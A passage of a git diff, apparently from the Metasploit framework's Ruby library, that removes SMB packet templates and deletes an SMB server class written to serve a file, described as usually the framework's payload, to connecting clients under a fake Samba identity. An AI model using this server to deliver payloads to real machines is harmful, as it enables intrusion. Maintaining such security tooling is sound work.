'' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS_RES_PKT = self.make_nbs(SMB_TRANS_RES_HDR_PKT) - -# A SMB template for SMB Transaction2 requests -SMB_TRANS2_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'ParamCountMax', 0 ], - [ 'uint16v', 'DataCountMax', 0 ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint32v', 'Timeout', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS2_PKT = self.make_nbs(SMB_TRANS2_HDR_PKT) - - -# A SMB template for SMB NTTransaction requests -SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCountMax', 0 ], - [ 'uint32v', 'DataCountMax', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint16v', 'Subcommand', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_PKT = self.make_nbs(SMB_NTTRANS_HDR_PKT) - - -# A SMB template for SMB NTTransaction responses -SMB_NTTRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'ParamDisplace', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint32v', 'DataDisplace', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_RES_PKT = self.make_nbs(SMB_NTTRANS_RES_HDR_PKT) - -# A SMB template for SMB NTTransaction_Secondary requests -SMB_NTTRANS_SECONDARY_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'ParamDisplace', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint32v', 'DataDisplace', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_SECONDARY_PKT = self.make_nbs(SMB_NTTRANS_SECONDARY_HDR_PKT) - -# A SMB template for SMB Create requests -SMB_CREATE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint8', 'Reserved2', 0 ], - [ 'uint16v', 'FileNameLen', 0 ], - [ 'uint32v', 'CreateFlags', 0 ], - [ 'uint32v', 'RootFileID', 0 ], - [ 'uint32v', 'AccessMask', 0 ], - [ 'uint32v', 'AllocLow', 0 ], - [ 'uint32v', 'AllocHigh', 0 ], - [ 'uint32v', 'Attributes', 0 ], - [ 'uint32v', 'ShareAccess', 0 ], - [ 'uint32v', 'Disposition', 0 ], - [ 'uint32v', 'CreateOptions', 0 ], - [ 'uint32v', 'Impersonation', 0 ], - [ 'uint8', 'SecurityFlags', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CREATE_PKT = self.make_nbs(SMB_CREATE_HDR_PKT) - - -# A SMB template for SMB Create responses -SMB_CREATE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint8', 'OpLock', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Action', 0 ], - [ 'uint32v', 'CreateTimeLow', 0 ], - [ 'uint32v', 'CreateTimeHigh', 0 ], - [ 'uint32v', 'AccessTimeLow', 0 ], - [ 'uint32v', 'AccessTimeHigh', 0 ], - [ 'uint32v', 'WriteTimeLow', 0 ], - [ 'uint32v', 'WriteTimeHigh', 0 ], - [ 'uint32v', 'ChangeTimeLow', 0 ], - [ 'uint32v', 'ChangeTimeHigh', 0 ], - [ 'uint32v', 'Attributes', 0 ], - [ 'uint32v', 'AllocLow', 0 ], - [ 'uint32v', 'AllocHigh', 0 ], - [ 'uint32v', 'EOFLow', 0 ], - [ 'uint32v', 'EOFHigh', 0 ], - [ 'uint16v', 'FileType', 0 ], - [ 'uint16v', 'IPCState', 0 ], - [ 'uint8', 'IsDirectory', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CREATE_RES_PKT = self.make_nbs(SMB_CREATE_RES_HDR_PKT) - - -# A SMB template for SMB Write requests -SMB_WRITE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Offset', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'WriteMode', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'DataLenHigh', 0 ], - [ 'uint16v', 'DataLenLow', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint32v', 'DataOffsetHigh', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_WRITE_PKT = self.make_nbs(SMB_WRITE_HDR_PKT) - - -# A SMB template for SMB Write responses -SMB_WRITE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'CountLow', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'CountHigh', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_WRITE_RES_PKT = self.make_nbs(SMB_WRITE_RES_HDR_PKT) - - -# A SMB template for SMB OPEN requests -SMB_OPEN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint16v', 'Access', 0 ], - [ 'uint16v', 'SearchAttributes', 0 ], - [ 'uint16v', 'FileAttributes', 0 ], - [ 'uint32v', 'CreateTime', 0 ], - [ 'uint16v', 'OpenFunction', 0 ], - [ 'uint32v', 'AllocSize', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Reserved3', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_OPEN_PKT = self.make_nbs(SMB_OPEN_HDR_PKT) - - -# A SMB template for SMB OPEN responses -SMB_OPEN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint16v', 'FileAttributes', 0 ], - [ 'uint32v', 'WriteTime', 0 ], - [ 'uint32v', 'FileSize', 0 ], - [ 'uint16v', 'FileAccess', 0 ], - [ 'uint16v', 'FileType', 0 ], - [ 'uint16v', 'IPCState', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint32v', 'ServerFileID', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_OPEN_RES_PKT = self.make_nbs(SMB_OPEN_RES_HDR_PKT) - - -# A SMB template for SMB Close requests -SMB_CLOSE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'LastWrite', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CLOSE_PKT = self.make_nbs(SMB_CLOSE_HDR_PKT) - - -# A SMB template for SMB Close responses -SMB_CLOSE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CLOSE_RES_PKT = self.make_nbs(SMB_CLOSE_RES_HDR_PKT) - - -# A SMB template for SMB Delete requests -SMB_DELETE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'SearchAttribute', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'uint8', 'BufferFormat', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_DELETE_PKT = self.make_nbs(SMB_DELETE_HDR_PKT) - - -# A SMB template for SMB Delete responses -SMB_DELETE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_DELETE_RES_PKT = self.make_nbs(SMB_DELETE_RES_HDR_PKT) - - - -# A SMB template for SMB Read requests -SMB_READ_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Offset', 0 ], - [ 'uint16v', 'MaxCountLow', 0 ], - [ 'uint16v', 'MinCount', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint32v', 'MaxCountHigh', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_READ_PKT = self.make_nbs(SMB_READ_HDR_PKT) - - -# A SMB template for SMB Read responses -SMB_READ_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'DataCompaction', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'DataLenLow', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint32v', 'DataLenHigh', 0 ], - [ 'uint32v', 'Reserved3', 0 ], - [ 'uint16v', 'Reserved4', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_READ_RES_PKT = self.make_nbs(SMB_READ_RES_HDR_PKT) - - - -# A SMB template for SMB Search requests -SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'MaxCount', 0 ], - [ 'uint16v', 'Attributes', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 FIND_FIRST2 responses + SMB_TRANS2_FIND_FIRST2_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SearchAttributes', 0], + ['uint16v', 'SearchCount', 0], + ['uint16v', 'Flags', 0], + ['uint16v', 'InformationLevel', 0], + ['uint32v', 'SearchStorageType', 0], + ['string', 'FileName', nil, ''] + ) + # A template for SMB Tree Connect commands in responses + SMB_TREE_CONN_ANDX_RES_PKT = Rex::Struct2::CStructTemplate.new( + ['uint8', 'WordCount', 0], + ['uint8', 'AndXCommand', 0], + ['uint8', 'AndXReserved', 0], + ['uint16v', 'AndXOffset', 0], + ['uint16v', 'OptionalSupport', 0], + ['uint32v', 'AccessRights', 0], + ['uint32v', 'GuestAccessRights', 0], + ['uint16v', 'ByteCount', 0], + ['string', 'Payload', nil, ''] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) end end diff --git a/lib/rex/proto/smb/exceptions.rb b/lib/rex/proto/smb/exceptions.rb index bc8f76983693..43e7964aa5d0 100644 --- a/lib/rex/proto/smb/exceptions.rb +++ b/lib/rex/proto/smb/exceptions.rb @@ -8,13 +8,13 @@ module Exceptions class Error < ::RuntimeError @@errors = { - 0x00000000 => "STATUS_SUCCESS", + # 0x00000000 => "STATUS_SUCCESS", 0x00000000 => "STATUS_WAIT_0", 0x00000001 => "STATUS_WAIT_1", 0x00000002 => "STATUS_WAIT_2", 0x00000003 => "STATUS_WAIT_3", 0x0000003F => "STATUS_WAIT_63", - 0x00000080 => "STATUS_ABANDONED", + # 0x00000080 => "STATUS_ABANDONED", 0x00000080 => "STATUS_ABANDONED_WAIT_0", 0x000000BF => "STATUS_ABANDONED_WAIT_63", 0x000000C0 => "STATUS_USER_APC", diff --git a/lib/rex/proto/smb/server.rb b/lib/rex/proto/smb/server.rb deleted file mode 100644 index 4ef2c021cc24..000000000000 --- a/lib/rex/proto/smb/server.rb +++ /dev/null @@ -1,1296 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' -require 'rex/proto/smb' -require 'rex/text' -require 'rex/logging' -require 'rex/struct2' -require 'rex/proto/smb/constants' -require 'rex/proto/smb/utils' -require 'rex/proto/dcerpc' - -module Rex -module Proto -module SMB - -## -# -# SMB Server class -# -## -class Server - -# Read Write - attr_accessor :listen_port, :listen_host, :context - attr_accessor :listener - attr_accessor :process_id, :name, :ip, :port, :data - attr_accessor :user_id, :tree_id, :multiplex_id - -# Read Only - attr_reader :hi, :lo - - CONST = Rex::Proto::SMB::Constants - UTILS = Rex::Proto::SMB::Utils - - # - # Setup State - # - def initialize(port, listen_host, context = {}) - self.listen_host = listen_host - self.listen_port = port - self.context = context - self.listener = nil - self.multiplex_id = rand(0xffff) - self.process_id = rand(0xffff) - @state = {} - end - - # - # SMB server. - # - def alias - super || "SMBServer" - end - - # - # Debugging - # - def dprint(msg) - #$stdout.puts "#{msg}" - dlog("#{msg}", 'rex', LEV_3) - end - - # - # Listens on the defined port and host and starts monitoring for clients. - # - def start - - params = { - 'LocalHost' => self.listen_host, - 'LocalPort' => self.listen_port, - 'Context' => self.context, - } - - self.listener = Rex::Socket::TcpServer.create( params ) - - # Register callbacks - self.listener.on_client_connect_proc = Proc.new { |client| - on_client_connect(client) - } - self.listener.on_client_data_proc = Proc.new { |client| - on_client_data(client) - } - self.listener.start - end - - # - # Terminates the monitor thread and turns off the listener. - # - def stop - self.listener.stop - self.listener.close - end - - # - # Waits for the SMB service to terminate - # - def wait - self.listener.wait if self.listener - end - - ## - # - # Register globals - # - # @param unc [String] The UNC path to expose by the server: - # ie. \\\\SRVHOST\\share\\path\\to\\myfile.extension - # @param contents [String] The contents of the file to be served - # (usually the MSF payload) - # @param file_name [String] The name of the file served: - # ie. myfile.extension - # @param hi [Integer] Current unix time in 64 bit SMB format - # @param lo [Integer] Current unix time in 64 bit SMB format - # @return [void] - # - ## - def register(unc, contents, file_name, hi, lo) - @unc = unc - @file_name = file_name.gsub(/\//, '\\').split('\\').last - # All but last - @path_name = file_name.split('/')[0..-2].join('\\').gsub(/\/\/\/\//, '\\').gsub(/\\\\/, '\\') - @hi = hi - @lo = lo - @exe = contents - @flags2 = 0xc807 # e807 or c807 or c001 - end - -protected - - # Converts bin to hex - def bin_to_hex(s) - s.unpack('H*').first - end - - # - # Handler to register new connections from the client - # - def on_client_connect(client) - dprint("New SMB connection from #{client.peerhost}:#{client.peerport}") - smb_conn(client) - end - - # - # Handler to receieve and dispatch data received from the client - # - def on_client_data(client) - dprint("New data from #{client.peerhost}:#{client.peerport}") - smb_recv(client) - true - end - - # - # Logs the client state in @state - # - def smb_conn(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, :port => c.peerport} - end - - # - # Deletes the client state on disconnect - # - def smb_stop(c) - @state.delete(c) - end - - # - # Primary function that receives data from the client and sends it to the - # dispatcher - # - def smb_recv(c) - smb = @state[c] - data = c.get_once - return if not data - smb[:data] = data - - while(smb[:data].length > 0) - return if smb[:data].length < 4 - - plen = smb[:data][2,2].unpack('n')[0] - - return if smb[:data].length < plen+4 - - buff = smb[:data].slice!(0, plen+4) - - pkt_nbs = CONST::NBRAW_PKT.make_struct - pkt_nbs.from_s(buff) - - dprint("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") - - # Check for a NetBIOS name request - if (pkt_nbs.v['Type'] == 0x81) - # Accept any name they happen to send - - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') - - smb[:nbdst] = host_dst - smb[:nbsrc] = host_src - - dprint("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") - c.write("\x82\x00\x00\x00") - next - end - - # Cast this to a generic SMB structure - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - - # Only response to requests, ignore server replies - if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - dprint("Ignoring server response from #{smb[:name]}") - next - end - - cmd = pkt['Payload']['SMB'].v['Command'] - begin - smb_cmd_dispatch(cmd, c, buff) - rescue ::Interrupt - raise $! - rescue ::Exception => e - dprint("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") - next - end - end - end - - # - # Function to retrieve the SMB state and record the following values used - # elsewhere in this class: - # ProcessID - # UserID - # TreeID - # MultiplexID - # - def smb_set_defaults(c, pkt) - smb = @state[c] - pkt['Payload']['SMB'].v['ProcessID'] = self.process_id.to_i - pkt['Payload']['SMB'].v['UserID'] = self.user_id.to_i - pkt['Payload']['SMB'].v['TreeID'] = self.tree_id.to_i - pkt['Payload']['SMB'].v['MultiplexID'] = self.multiplex_id.to_i - end - - # - # Returns an smb error packet - # - def smb_error(cmd, c, errorclass, esn = false) - # 0xc0000022 = Deny - # 0xc000006D = Logon_Failure - # 0x00000000 = Ignore - pkt = CONST::SMB_BASE_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = cmd - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - if esn - pkt['Payload']['SMB'].v['Flags2'] = 0xc801 - else - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - end - pkt['Payload']['SMB'].v['ErrorClass'] = errorclass - c.put(pkt.to_s) - end - - # - # Main dispatcher function - # Takes the client data and performs a case switch - # on the command (e.g. Negotiate, Session Setup, Read file, etc.) - # - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - dprint("Received command #{cmd.to_s(16)} from #{smb[:name]}") - - pkt = CONST::SMB_BASE_PKT.make_struct - pkt.from_s(buff) - #Record the IDs - self.process_id = pkt['Payload']['SMB'].v['ProcessID'] - self.user_id = pkt['Payload']['SMB'].v['UserID'] - self.tree_id = pkt['Payload']['SMB'].v['TreeID'] - self.multiplex_id = pkt['Payload']['SMB'].v['MultiplexID'] - - case cmd - when CONST::SMB_COM_NEGOTIATE - smb_cmd_negotiate(c, buff) - when CONST::SMB_COM_SESSION_SETUP_ANDX - wordcount = pkt['Payload']['SMB'].v['WordCount'] - if wordcount == 0x0D # Share Security Mode sessions - dprint("[smb_cmd_session_setup] wordcount is: #{wordcount.to_s}") - smb_cmd_session_setup(c, buff) - #elsif wordcount == 0x0C # Also Share Security Mode sessions with NTLMSSP - # dprint("[smb_cmd_ntlmssp_session_setup] wordcount is: #{wordcount.to_s}") - # smb_cmd_ntlmssp_session_setup(c, buff) - else - dprint("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - when CONST::SMB_COM_TRANSACTION2 - smb_cmd_trans(c, buff) - when CONST::SMB_COM_NT_CREATE_ANDX - smb_cmd_create(c, buff) - when CONST::SMB_COM_READ_ANDX - dprint("[smb_cmd_read]") - smb_cmd_read(c, buff) - when CONST::SMB_COM_CLOSE - smb_cmd_close(c, buff) - else - dprint("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})") - smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) - end - end - - # - # Negotiates a SHARE session with the client - # - def smb_cmd_negotiate(c, buff) - pkt = CONST::SMB_NEG_PKT.make_struct - pkt.from_s(buff) - - dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) - - dialect = dialects.index("NT LM 0.12") || dialects.length-1 - - pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 17 - pkt['Payload'].v['Dialect'] = dialect - pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode - #pkt['Payload'].v['SecurityMode'] = 3 # USER Security Mode - pkt['Payload'].v['MaxMPX'] = 50 - pkt['Payload'].v['MaxVCS'] = 1 - #pkt['Payload'].v['MaxBuff'] = 16644 - pkt['Payload'].v['MaxBuff'] = 4356 - pkt['Payload'].v['MaxRaw'] = 65536 - pkt['Payload'].v['SystemTimeLow'] = @lo - pkt['Payload'].v['SystemTimeHigh'] = @hi - pkt['Payload'].v['ServerTimeZone'] = 0x0 - pkt['Payload'].v['SessionKey'] = 0 - #pkt['Payload'].v['Capabilities'] = 0x8080f3fd NTLMSSP capabilities - #pkt['Payload'].v['Capabilities'] = 0xd4 - pkt['Payload'].v['Capabilities'] = 0x0080f3fd - pkt['Payload'].v['KeyLength'] = 8 - pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8) - - c.put(pkt.to_s) - end - - # - # Negotiates an NTLMSSP Session with the client - # Currently unimplemented - # - def smb_cmd_ntlmssp_session_setup(c, buff) - # TODO: Havent implemented ntlmssp yet - dprint("Broken here...") - - pkt = CONST::SMB_SETUP_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 4 - pkt['Payload'].v['AndX'] = 0xff - pkt['Payload'].v['Reserved1'] = 00 - pkt['Payload'].v['AndXOffset'] = 0 - #pkt['Payload'].v['Action'] = 0 # Not Logged in as GUEST - pkt['Payload'].v['Action'] = 0x1 # Logged in as GUEST - pkt['Payload'].v['Payload'] = - Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature - Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature - Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature - tree_connect_response = "" - tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount - tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand - tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved - tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset - tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support - #tree_connect_response << [0xff].pack("C") # Access Mask All Flags On - #tree_connect_response << [0x01].pack("C") - #tree_connect_response << [0x1f].pack("C") - #tree_connect_response << [0xff].pack("C") - tree_connect_response << [0xa9].pack("C") # Access Mask for just Read and Exec - tree_connect_response << [0x00].pack("C") - tree_connect_response << [0x12].pack("C") - tree_connect_response << [0x00].pack("C") - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount - tree_connect_response << "A:\x00" # Service - tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters - # Fix the Netbios Session Service Message Length - # to have into account the tree_connect_response, - # need to do this because there isn't support for - # AndX still - my_pkt = pkt.to_s + tree_connect_response - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + tree_connect_response.length - my_pkt[2, 2] = [original_length].pack("n") - c.put(my_pkt) - end - - # - # Sets up an SMB session in response to a SESSION_SETUP_ANDX request - # - def smb_cmd_session_setup(c, buff) - pkt = CONST::SMB_SETUP_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 3 - pkt['Payload'].v['AndX'] = 0x75 - pkt['Payload'].v['Reserved1'] = 00 - pkt['Payload'].v['AndXOffset'] = 96 - pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest - pkt['Payload'].v['Payload'] = - Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature - Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature - Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature - tree_connect_response = "" - tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount - tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand - tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved - tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset - tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support - #tree_connect_response << [0xff].pack("C") # Access Mask All Flags On - #tree_connect_response << [0x01].pack("C") - #tree_connect_response << [0x1f].pack("C") - #tree_connect_response << [0xff].pack("C") - tree_connect_response << [0xa9].pack("C") # Access Mask for just Read and Exec - tree_connect_response << [0x00].pack("C") - tree_connect_response << [0x12].pack("C") - tree_connect_response << [0x00].pack("C") - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter - tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount - tree_connect_response << "A:\x00" # Service - tree_connect_response << 